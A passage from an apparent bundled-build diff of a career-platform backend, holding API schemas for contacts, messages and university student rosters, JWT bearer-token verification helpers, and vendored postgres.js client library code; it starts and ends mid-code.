createContactRequestSchema = external_exports.object({ + company_id: uuidSchema, + full_name: external_exports.string().min(1).max(200).optional(), + title: external_exports.string().min(1).max(200).optional(), + email: external_exports.email().optional(), + linkedin_url: external_exports.url().optional() +}); +var contactResponseSchema = external_exports.object({ contact: contactSchema }); +var listContactsResponseSchema = external_exports.object({ + items: external_exports.array(contactSchema), + next_cursor: external_exports.string().nullable() +}); +var referralCandidateSchema = external_exports.object({ + contact: contactSchema, + company: companySchema, + job_id: uuidSchema, + application_id: uuidSchema +}); +var listReferralsResponseSchema = external_exports.object({ + items: external_exports.array(referralCandidateSchema) +}); +var createMessageRequestSchema = external_exports.object({ + application_id: uuidSchema.nullable().default(null), + contact_id: uuidSchema.nullable().default(null), + channel: messageSchema.shape.channel, + /** Auto-drafted from the application/contact context when omitted. */ + subject: external_exports.string().max(400).optional(), + body: external_exports.string().min(1).max(1e4).optional() +}); +var scheduleMessageRequestSchema = external_exports.object({ + scheduled_for: external_exports.iso.datetime() +}); +var messageResponseSchema = external_exports.object({ message: messageSchema }); +var listMessagesResponseSchema = external_exports.object({ + items: external_exports.array(messageSchema), + next_cursor: external_exports.string().nullable() +}); + +// packages/types/src/admin.ts +var ADMIN_ROSTER_ROLES = ["owner", "admin"]; +var ADMIN_ROSTER_ORG_TYPES = ["university"]; +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var ADMIN_MAX_EXPORT_ROWS = 1e4; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +var IMPORT_STUDENT_COLUMNS = [ + "email", + "full_name", + "student_id", + "graduation_year", + "program" +]; +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); +function emptyApplicationStatusCounts() { + return Object.fromEntries( + APPLICATION_STATUSES.map((status) => [status, 0]) + ); +} + +// packages/auth-kit/src/tokens.ts +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; + return { + jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), + issuer: authBase + }; +} +async function verifyAccessToken(token, config2) { + let payload; + try { + ({ payload } = await jwtVerify(token, config2.jwks, { + issuer: config2.issuer, + audience: "authenticated" + })); + } catch (cause) { + const message2 = cause instanceof errors_exports.JWTExpired ? "Access token has expired" : "Access token is invalid"; + throw new AppError("UNAUTHENTICATED", message2, { cause }); + } + const appMetadata = payload.app_metadata ?? {}; + const parsed = accessTokenClaimsSchema.safeParse({ + sub: payload.sub, + session_id: payload.session_id, + org: appMetadata.org_id ?? null, + role: appMetadata.role ?? null, + email: payload.email + }); + if (!parsed.success) { + throw new AppError("UNAUTHENTICATED", "Access token has an invalid shape"); + } + return parsed.data; +} + +// packages/auth-kit/src/request-context.ts +function extractBearerToken(request) { + const header = request.headers.authorization; + const token = header?.startsWith("Bearer ") ? header.slice("Bearer ".length).trim() : ""; + if (!token) { + throw new AppError("UNAUTHENTICATED", "Missing bearer token"); + } + return token; +} +function requireAuth(config2) { + return async function requireAuthPreHandler(request, _reply) { + const token = extractBearerToken(request); + const claims = await verifyAccessToken(token, config2); + request.actor = buildActor(claims); + }; +} +function getActor(request) { + if (!request.actor) { + throw new AppError("UNAUTHENTICATED", "Request is missing a resolved actor"); + } + return request.actor; +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/index.js +import os from "os"; +import fs from "fs"; + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/query.js +var originCache = /* @__PURE__ */ new Map(); +var originStackCache = /* @__PURE__ */ new Map(); +var originError = Symbol("OriginError"); +var CLOSE = {}; +var Query = class extends Promise { + constructor(strings, args, handler, canceller, options = {}) { + let resolve, reject; + super((a, b2) => { + resolve = a; + reject = b2; + }); + this.tagged = Array.isArray(strings.raw); + this.strings = strings; + this.args = args; + this.handler = handler; + this.canceller = canceller; + this.options = options; + this.state = null; + this.statement = null; + this.resolve = (x) => (this.active = false, resolve(x)); + this.reject = (x) => (this.active = false, reject(x)); + this.active = false; + this.cancelled = null; + this.executed = false; + this.signature = ""; + this[originError] = this.handler.debug ? new Error() : this.tagged && cachedError(this.strings); + } + get origin() { + return (this.handler.debug ? this[originError].stack : this.tagged && originStackCache.has(this.strings) ? originStackCache.get(this.strings) : originStackCache.set(this.strings, this[originError].stack).get(this.strings)) || ""; + } + static get [Symbol.species]() { + return Promise; + } + cancel() { + return this.canceller && (this.canceller(this), this.canceller = null); + } + simple() { + this.options.simple = true; + this.options.prepare = false; + return this; + } + async readable() { + this.simple(); + this.streaming = true; + return this; + } + async writable() { + this.simple(); + this.streaming = true; + return this; + } + cursor(rows = 1, fn) { + this.options.simple = false; + if (typeof rows === "function") { + fn = rows; + rows = 1; + } + this.cursorRows = rows; + if (typeof fn === "function") + return this.cursorFn = fn, this; + let prev; + return { + [Symbol.asyncIterator]: () => ({ + next: () => { + if (this.executed && !this.active) + return { done: true }; + prev && prev(); + const promise2 = new Promise((resolve, reject) => { + this.cursorFn = (value) => { + resolve({ value, done: false }); + return new Promise((r) => prev = r); + }; + this.resolve = () => (this.active = false, resolve({ done: true })); + this.reject = (x) => (this.active = false, reject(x)); + }); + this.execute(); + return promise2; + }, + return() { + prev && prev(CLOSE); + return { done: true }; + } + }) + }; + } + describe() { + this.options.simple = false; + this.onlyDescribe = this.options.prepare = true; + return this; + } + stream() { + throw new Error(".stream has been renamed to .forEach"); + } + forEach(fn) { + this.forEachFn = fn; + this.handle(); + return this; + } + raw() { + this.isRaw = true; + return this; + } + values() { + this.isRaw = "values"; + return this; + } + async handle() { + !this.executed && (this.executed = true) && await 1 && this.handler(this); + } + execute() { + this.handle(); + return this; + } + then() { + this.handle(); + return super.then.apply(this, arguments); + } + catch() { + this.handle(); + return super.catch.apply(this, arguments); + } + finally() { + this.handle(); + return super.finally.apply(this, arguments); + } +}; +function cachedError(xs) { + if (originCache.has(xs)) + return originCache.get(xs); + const x = Error.stackTraceLimit; + Error.stackTraceLimit = 4; + originCache.set(xs, new Error()); + Error.stackTraceLimit = x; + return originCache.get(xs); +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/errors.js +var PostgresError = class extends Error { + constructor(x) { + super(x.message); + this.name = this.constructor.name; + Object.assign(this, x); + } +}; +var Errors = { + connection, + postgres, + generic, + notSupported +}; +function connection(x, options, socket) { + const { host, port } = socket || options; + const error51 = Object.assign( + new Error("write " + x + " " + (options.path || host + ":" + port)), + { + code: x, + errno: x, + address: options.path || host + }, + options.path ? {} : { port } + ); + Error.captureStackTrace(error51, connection); + return error51; +} +function postgres(x) { + const error51 = new PostgresError(x); + Error.captureStackTrace(error51, postgres); + return error51; +} +function generic(code, message2) { + const error51 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error51, generic); + return error51; +} +function notSupported(x) { + const error51 = Object.assign( + new Error(x + " (B) is not supported"), + { + code: "MESSAGE_NOT_SUPPORTED", + name: x + } + ); + Error.captureStackTrace(error51, notSupported); + return error51; +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js +var types = { + string: { + to: 25, + from: null, + // defaults to string + serialize: (x) => "" + x + }, + number: { + to: 0, + from: [21, 23, 26, 700, 701], + serialize: (x) => "" + x, + parse: (x) => +x + }, + json: { + to: 114, + from: [114, 3802], + serialize: (x) => JSON.stringify(x), + parse: (x) => JSON.parse(x) + }, + boolean: { + to: 16, + from: 16, + serialize: (x) => x === true ? "t" : "f", + parse: (x) => x === "t" + }, + date: { + to: 1184, + from: [1082, 1114, 1184], + serialize: (x) => (x instanceof Date ? x : new Date(x)).toISOString(), + parse: (x) => new Date(x) + }, + bytea: { + to: 17, + from: 17, + serialize: (x) => "\\x" + Buffer.from(x).toString("hex"), + parse: (x) => Buffer.from(x.slice(2), "hex") + } +}; +var NotTagged = class { + then() { + notTagged(); + } + catch() { + notTagged(); + } + finally() { + notTagged(); + } +}; +var Identifier = class extends NotTagged { + constructor(value) { + super(); + this.value = escapeIdentifier(value); + } +}; +var Parameter = class extends NotTagged { + constructor(value, type, array2) { + super(); + this.value = value; + this.type = type; + this.array = array2; + } +}; +var Builder = class extends NotTagged { + constructor(first, rest) { + super(); + this.first = first; + this.rest = rest; + } + build(before, parameters, types2, options) { + const keyword = builders.map(([x, fn]) => ({ fn, i: before.search(x) })).sort((a, b2) => a.i - b2.i).pop(); + return keyword.i === -1 ? escapeIdentifiers(this.first, options) : keyword.fn(this.first, this.rest, parameters, types2, options); + } +}; +function handleValue(x, parameters, types2, options) { + let value = x instanceof Parameter ? x.value : x; + if (value === void 0) { + x instanceof Parameter ? x.value = options.transform.undefined : value = x = options.transform.undefined; + if (value === void 0) + throw Errors.generic("UNDEFINED_VALUE", "Undefined values are not allowed"); + } + return "$" + types2.push( + x instanceof Parameter ? (parameters.push(x.value), x.array ? x.array[x.type || inferType(x.value)] || x.type || firstIsString(x.value) : x.type) : (parameters.push(x), inferType(x)) + ); +} +var defaultHandlers = typeHandlers(types); +function stringify(q, string4, value, parameters, types2, options) { + for (let i = 1; i < q.strings.length; i++) { + string4 += stringifyValue(string4, value, parameters, types2, options) + q.strings[i]; + value = q.args[i]; + } + return string4; +} +function stringifyValue(string4, value, parameters, types2, o) { + return value instanceof Builder ? value.build(string4, parameters, types2, o) : value instanceof Query ? fragment(value, parameters, types2, o) : value instanceof Identifier ? value.value : value && value[0] instanceof Query ? value.reduce((acc, x) => acc + " " + fragment(x, parameters, types2, o), "") : handleValue(value, parameters, types2, o); +} +function fragment(q, parameters, types2, options) { + q.fragment = true; + return stringify(q, q.strings[0], q.args[0], parameters, types2, options); +} +function valuesBuilder(first, parameters, types2, columns, options) { + return first.map( + (row) => "(" + columns.map( + (column) => stringifyValue("values", row[column], parameters, types2, options) + ).join(",") + ")" + ).join(","); +} +function values(first, rest, parameters, types2, options) { + const multi = Array.isArray(first[0]); + const columns = rest.length ? rest.flat() : Object.keys(multi ? first[0] : first); + return valuesBuilder(multi ? first : [first], parameters, types2, columns, options); +} +function select(first, rest, parameters, types2, options) { + typeof first === "string" && (first = [first].concat(rest)); + if (Array.isArray(first)) + return escapeIdentifiers(first, options); + let value; + const columns = rest.length ? rest.flat() : Object.keys(first); + return columns.map((x) => { + value = first[x]; + return (value instanceof Query ? fragment(value, parameters, types2, options) : value instanceof Identifier ? value.value : handleValue(value, parameters, types2, options)) + " as " + escapeIdentifier(options.transform.column.to ? options.transform.column.to(x) : x); + }).join(","); +} +var builders = Object.entries({ + values, + in: (...xs) => { + const x = values(...xs); + return x === "()" ? "(null)" : x; + }, + select, + as: select, + returning: select, + "\\(": select, + update(first, rest, parameters, types2, options) { + return (rest.length ? rest.flat() : Object.keys(first)).map( + (x) => escapeIdentifier(options.transform.column.to ? options.transform.column.to(x) : x) + "=" + stringifyValue("values", first[x], parameters, types2, options) + ); + }, + insert(first, rest, parameters, types2, options) { + const columns = rest.length ? rest.flat() : Object.keys(Array.isArray(first) ? first[0] : first); + return "(" + escapeIdentifiers(columns, options) + ")values" + valuesBuilder(Array.isArray(first) ? first : [first], parameters, types2, columns, options); + } +}).map(([x, fn]) => [new RegExp("((?:^|[\\s(])" + x + "(?:$|[\\s(]))(?![\\s\\S]*\\1)", "i"), fn]); +function notTagged() { + throw Errors.generic("NOT_TAGGED_CALL", "Query not called as a tagged template literal"); +} +var serializers = defaultHandlers.serializers; +var parsers = defaultHandlers.parsers; +function firstIsString(x) { + if (Array.isArray(x)) + return firstIsString(x[0]); + return typeof x === "string" ? 1009 : 0; +} +var mergeUserTypes = function(types2) { + const user = typeHandlers(types2 || {}); + return { + serializers: Object.assign({}, serializers, user.serializers), + parsers: Object.assign({}, parsers, user.parsers) + }; +}; +function typeHandlers(types2) { + return Object.keys(types2).reduce((acc, k) => { + types2[k].from && [].concat(types2[k].from).forEach((x) => acc.parsers[x] = types2[k].parse); + if (types2[k].serialize) { + acc.serializers[types2[k].to] = types2[k].serialize; + types2[k].from && [].concat(types2[k].from).forEach((x) => acc.serializers[x] = types2[k].serialize); + } + return acc; + }, { parsers: {}, serializers: {} }); +} +function escapeIdentifiers(xs, { transform: { column } }) { + return xs.map((x) => escapeIdentifier(column.to ? column.to(x) : x)).join(","); +} +var escapeIdentifier = function escape2(str) { + return '"' + str.replace(/"/g, '""').replace(/\./g, '"."') + '"'; +}; +var inferType = function inferType2(x) { + return x instanceof Parameter ? x.type : x instanceof Date ? 1184 : x instanceof Uint8Array ? 17 : x === true || x === false ? 16 : typeof x === "bigint" ? 20 : Array.isArray(x) ? inferType2(x[0]) : 0; +}; +var escapeBackslash = /\\/g; +var escapeQuote = /"/g; +function arrayEscape(x) { + return x.replace(escapeBackslash, "\\\\").replace(escapeQuote, '\\"'); +} +var arraySerializer = function arraySerializer2(xs, serializer, options, typarray) { + if (Array.isArray(xs) === false) + return xs; + if (!xs.length) + return "{}"; + const first = xs[0]; + const delimiter = typarray === 1020 ? ";" : ","; + if (Array.isArray(first) && !first.type) + return "{" + xs.map((x) => arraySerializer2(x, serializer, options, typarray)).join(delimiter) + "}"; + return "{" + xs.map((x) => { + if (x === void 0) { + x = options.transform.undefined; + if (x === void 0) + throw Errors.generic("UNDEFINED_VALUE", "Undefined values are not allowed"); + } + return x === null ? "null" : '"' + arrayEscape(serializer ? serializer(x.type ? x.value : x) : "" + x) + '"'; + }).join(delimiter) + "}"; +}; +var arrayParserState = { + i: 0, + char: null, + str: "", + quoted: false, + last: 0 +}; +var arrayParser = function arrayParser2(x, parser, typarray) { + arrayParserState.i = arrayParserState.last = 0; + return arrayParserLoop(arrayParserState, x, parser, typarray); +}; +function arrayParserLoop(s, x, parser, typarray) { + const xs = []; + const delimiter = typarray === 1020 ? ";" : ","; + for (; s.i < x.length; s.i++) { + s.char = x[s.i]; + if (s.quoted) { + if (s.char === "\\") { + s.str += x[++s.i]; + } else if (s.char === '"') { + xs.push(parser ? parser(s.str) : s.str); + s.str = ""; + s.quoted = x[s.i + 1] === '"'; + s.last = s.i + 2; + } else { + s.str += s.char; + } + } else if (s.char === '"') { + s.quoted = true; + } else if (s.char === "{") { + s.last = ++s.i; + xs.push(arrayParserLoop(s, x, parser, typarray)); + } else if (s.char === "}") { + s.quoted = false; + s.last < s.i && xs.push(parser ? parser(x.slice(s.last, s.i)) : x.slice(s.last, s.i)); + s.last = s.i + 1; + break; + } else if (s.char === delimiter && s.p !== "}" && s.p !== '"') { + xs.push(parser ? parser(x.slice(s.last, s.i)) : x.slice(s.last, s.i)); + s.last = s.i + 1; + } + s.p = s.char; + } + s.last < s.i && xs.push(parser ? parser(x.slice(s.last, s.i + 1)) : x.slice(s.last, s.i + 1)); + return xs; +} +var toCamel = (x) => { + let str = x[0]; + for (let i = 1; i < x.length; i++) + str += x[i] === "_" ? x[++i].toUpperCase() : x[i]; + return str; +}; +var toPascal = (x) => { + let str = x[0].toUpperCase(); + for (let i = 1; i < x.length; i++) + str += x[i] === "_" ? x[++i].toUpperCase() : x[i]; + return str; +}; +var toKebab = (x) => x.replace(/_/g, "-"); +var fromCamel = (x) => x.replace(/([A-Z])/g, "_$1").toLowerCase(); +var fromPascal = (x) => (x.slice(0, 1) + x.slice(1).replace(/([A-Z])/g, "_$1")).toLowerCase(); +var fromKebab = (x) => x.replace(/-/g, "_"); +function createJsonTransform(fn) { + return function jsonTransform(x, column) { + return typeof x === "object" && x !== null && (column.type === 114 || column.type === 3802) ? Array.isArray(x) ? x.map((x2) => jsonTransform(x2, column)) : Object.entries(x).reduce((acc, [k, v]) => Object.assign(acc, { [fn(k)]: jsonTransform(v, column) }), {}) : x; + }; +} +toCamel.column = { from: toCamel }; +toCamel.value = { from: createJsonTransform(toCamel) }; +fromCamel.column = { to: fromCamel }; +var camel = { ...toCamel }; +camel.column.to = fromCamel; +toPascal.column = { from: toPascal }; +toPascal.value = { from: createJsonTransform(toPascal) }; +fromPascal.column = { to: fromPascal }; +var pascal = { ...toPascal }; +pascal.column.to = fromPascal; +toKebab.column = { from: toKebab }; +toKebab.value = { from: createJsonTransform(toKebab) }; +fromKebab.column = { to: fromKebab }; +var kebab = { ...toKebab }; +kebab.column.to = fromKebab; + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/connection.js +import net from "net"; +import tls from "tls"; +import crypto2 from "crypto"; +import Stream from "stream"; +import { performance as performance2 } from "perf_hooks"; + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/result.js +var Result = class extends Array { + constructor() { + super(); + Object.defineProperties(this, { + count: { value: null, writable: true }, + state: { value: null, writable: true }, + command: { value: null, writable: true }, + columns: { value: null, writable: true }, + statement: { value: null, writable: true } + }); + } + static get [Symbol.species]() { + return Array; + } +}; + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/queue.js +var queue_default = Queue; +function Queue(initial = []) { + let xs = initial.slice(); + let index2 = 0; + return { + get length() { + return xs.length - index2; + }, + remove: (x) => { + const index3 = xs.indexOf(x); + return index3 === -1 ? null : (xs.splice(index3, 1), x); + }, + push: (x) => (xs.push(x), x), + shift: () => { + const out = xs[index2++]; + if (index2 === xs.length) { + index2 = 0; + xs = []; + } else { + xs[index2 - 1] = void 0; + } + return out; + } + }; +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/bytes.js +var size = 256; +var buffer = Buffer.allocUnsafe(size); +var messages = "BCcDdEFfHPpQSX".split("").reduce((acc, x) => { + const v = x.charCodeAt(0); + acc[x] = () => { + buffer[0] = v; + b.i = 5; + return b; + }; + return acc; +}, {}); +var b = Object.assign(reset, messages, { + N: String.fromCharCode(0), + i: 0, + inc(x) { + b.i += x; + return b; + }, + str(x) { + const length = Buffer.byteLength(x); + fit(length); + b.i += buffer.write(x, b.i, length, "utf8"); + return b; + }, + i16(x) { + fit(2); + buffer.writeUInt16BE(x, b.i); + b.i += 2; + return b; + }, + i32(x, i) { + if (i || i === 0) { + buffer.writeUInt32BE(x, i); + return b; + } + fit(4); + buffer.writeUInt32BE(x, b.i); + b.i += 4; + return b; + }, + z(x) { + fit(x); + buffer.fill(0, b.i, b.i + x); + b.i += x; + return b; + }, + raw(x) { + buffer = Buffer.concat([buffer.subarray(0, b.i), x]); + b.i = buffer.length; + return b; + }, + end(at = 1) { + buffer.writeUInt32BE(b.i - at, at); + const out = buffer.subarray(0, b.i); + b.i = 0; + buffer = Buffer.allocUnsafe(size); + return out; + } +}); +var bytes_default = b; +function fit(x) { + if (buffer.length - b.i < x) { + const prev = buffer, length = prev.length; + buffer = Buffer.allocUnsafe(length + (length >> 1) + x); + prev.copy(buffer); + } +} +function reset() { + b.i = 0; + return b; +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/connection.js +var connection_default = Connection; +var uid = 1; +var Sync = bytes_default().S().end(); +var Flush = bytes_default().H().end(); +var SSLRequest = bytes_default().i32(8).i32(80877103).end(8); +var ExecuteUnnamed = Buffer.concat([bytes_default().E().str(bytes_default.N).i32(0).end(), Sync]); +var DescribeUnnamed = bytes_default().D().str("S").str(bytes_default.N).end(); +var noop = () => { +}; +var retryRoutines = /* @__PURE__ */ new Set([ + "FetchPreparedStatement", + "RevalidateCachedQuery", + "transformAssignedExpr" +]); +var errorFields = { + 83: "severity_local", + // S + 86: "severity", + // V + 67: "code", + // C + 77: "message", + // M + 68: "detail", + // D + 72: "hint", + // H + 80: "position", + // P + 112: "internal_position", + // p + 113: "internal_query", + // q + 87: "where", + // W + 115: "schema_name", + // s + 116: "table_name", + // t + 99: "column_name", + // c + 100: "data type_name", + // d + 110: "constraint_name", + // n + 70: "file", + // F + 76: "line", + // L + 82: "routine" + // R +}; +function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose = noop } = {}) { + const { + sslnegotiation, + ssl, + max, + user, + host, + port, + database, + parsers: parsers2, + transform: transform2, + onnotice, + onnotify, + onparameter, + max_pipeline, + keep_alive, + backoff: backoff2, + target_session_attrs + } = options; + const sent = queue_default(), id = uid++, backend = { pid: null, secret: null }, idleTimer = timer(end, options.idle_timeout), lifeTimer = timer(end, options.max_lifetime), connectTimer = timer(connectTimedOut, options.connect_timeout); + let socket = null, cancelMessage, errorResponse = null, result = new Result(), incoming = Buffer.alloc(0), needsTypes = options.fetch_types, backendParameters = {}, statements = {}, statementId = Math.random().toString(36).slice(2), statementCount = 1, closedTime = 0, remaining = 0, hostIndex = 0, retries = 0, length = 0, delay = 0, rows = 0, serverSignature = null, nextWriteTimer = null, terminated = false, incomings = null, results = null, initial = null, ending = null, stream = null, chunk = null, ended = null, nonce = null, query = null, final = null; + const connection2 = { + queue: queues.closed, + idleTimer, + connect(query2) { + initial = query2; + reconnect(); + }, + terminate, + execute, + cancel, + end, + count: 0, + id + }; + queues.closed && queues.closed.push(connection2); + return connection2; + async function createSocket() { + let x; + try { + x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); + } catch (e) { + error51(e); + return; + } + x.on("error", error51); + x.on("close", closed); + x.on("drain", drain); + return x; + } + async function cancel({ pid, secret }, resolve, reject) { + try { + cancelMessage = bytes_default().i32(16).i32(80877102).i32(pid).i32(secret).end(16); + await connect(); + socket.once("error", reject); + socket.once("close", resolve); + } catch (error52) { + reject(error52); + } + } + function execute(q) { + if (terminated) + return queryError(q, Errors.connection("CONNECTION_DESTROYED", options)); + if (stream) + return queryError(q, Errors.generic("COPY_IN_PROGRESS", "You cannot execute queries during copy")); + if (q.cancelled) + return; + try { + q.state = backend; + query ? sent.push(q) : (query = q, query.active = true); + build(q); + return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); + } catch (error52) { + sent.length === 0 && write(Sync); + errored(error52); + return true; + } + } + function toBuffer(q) { + if (q.parameters.length >= 65534) + throw Errors.generic("MAX_PARAMETERS_EXCEEDED", "Max number of parameters (65534) exceeded"); + return q.options.simple ? bytes_default().Q().str(q.statement.string + bytes_default.N).end() : q.describeFirst ? Buffer.concat([describe3(q), Flush]) : q.prepare ? q.prepared ? prepared(q) : Buffer.concat([describe3(q), prepared(q)]) : unnamed(q); + } + function describe3(q) { + return Buffer.concat([ + Parse(q.statement.string, q.parameters, q.statement.types, q.statement.name), + Describe("S", q.statement.name) + ]); + } + function prepared(q) { + return Buffer.concat([ + Bind(q.parameters, q.statement.types, q.statement.name, q.cursorName), + q.cursorFn ? Execute("", q.cursorRows) : ExecuteUnnamed + ]); + } + function unnamed(q) { + return Buffer.concat([ + Parse(q.statement.string, q.parameters, q.statement.types), + DescribeUnnamed, + prepared(q) + ]); + } + function build(q) { + const parameters = [], types2 = []; + const string4 = stringify(q, q.strings[0], q.args[0], parameters, types2, options); + !q.tagged && q.args.forEach((x) => handleValue(x, parameters, types2, options)); + q.prepare = options.prepare && ("prepare" in q.options ? q.options.prepare : true); + q.string = string4; + q.signature = q.prepare && types2 + string4; + q.onlyDescribe && delete statements[q.signature]; + q.parameters = q.parameters || parameters; + q.prepared = q.prepare && q.signature in statements; + q.describeFirst = q.onlyDescribe || parameters.length && !q.prepared; + q.statement = q.prepared ? statements[q.signature] : { string: string4, types: types2, name: q.prepare ? statementId + statementCount++ : "" }; + typeof options.debug === "function" && options.debug(id, string4, parameters, types2); + } + function write(x, fn) { + chunk = chunk ? Buffer.concat([chunk, x]) : Buffer.from(x); + if (fn || chunk.length >= 1024) + return nextWrite(fn); + nextWriteTimer === null && (nextWriteTimer = setImmediate(nextWrite)); + return true; + } + function nextWrite(fn) { + const x = socket.write(chunk, fn); + nextWriteTimer !== null && clearImmediate(nextWriteTimer); + chunk = nextWriteTimer = null; + return x; + } + function connectTimedOut() { + errored(Errors.connection("CONNECT_TIMEOUT", options, socket)); + socket.destroy(); + } + async function secure() { + if (sslnegotiation !== "direct") { + write(SSLRequest); + const canSSL = await new Promise((r) => socket.once("data", (x) => r(x[0] === 83))); + if (!canSSL && ssl === "prefer") + return connected(); + } + const options2 = { + socket, + servername: net.isIP(socket.host) ? void 0 : socket.host + }; + if (sslnegotiation === "direct") + options2.ALPNProtocols = ["postgresql"]; + if (ssl === "require" || ssl === "allow" || ssl === "prefer") + options2.rejectUnauthorized = false; + else if (typeof ssl === "object") + Object.assign(options2, ssl); + socket.removeAllListeners(); + socket = tls.connect(options2); + socket.on("secureConnect", connected); + socket.on("error", error51); + socket.on("close", closed); + socket.on("drain", drain); + } + function drain() { + !query && onopen(connection2); + } + function data(x) { + if (incomings) { + incomings.push(x); + remaining -= x.length; + if (remaining > 0) + return; + } + incoming = incomings ? Buffer.concat(incomings, length - remaining) : incoming.length === 0 ? x : Buffer.concat([incoming, x], incoming.length + x.length); + while (incoming.length > 4) { + length = incoming.readUInt32BE(1); + if (length >= incoming.length) { + remaining = length - incoming.length; + incomings = [incoming]; + break; + } + try { + handle(incoming.subarray(0, length + 1)); + } catch (e) { + query && (query.cursorFn || 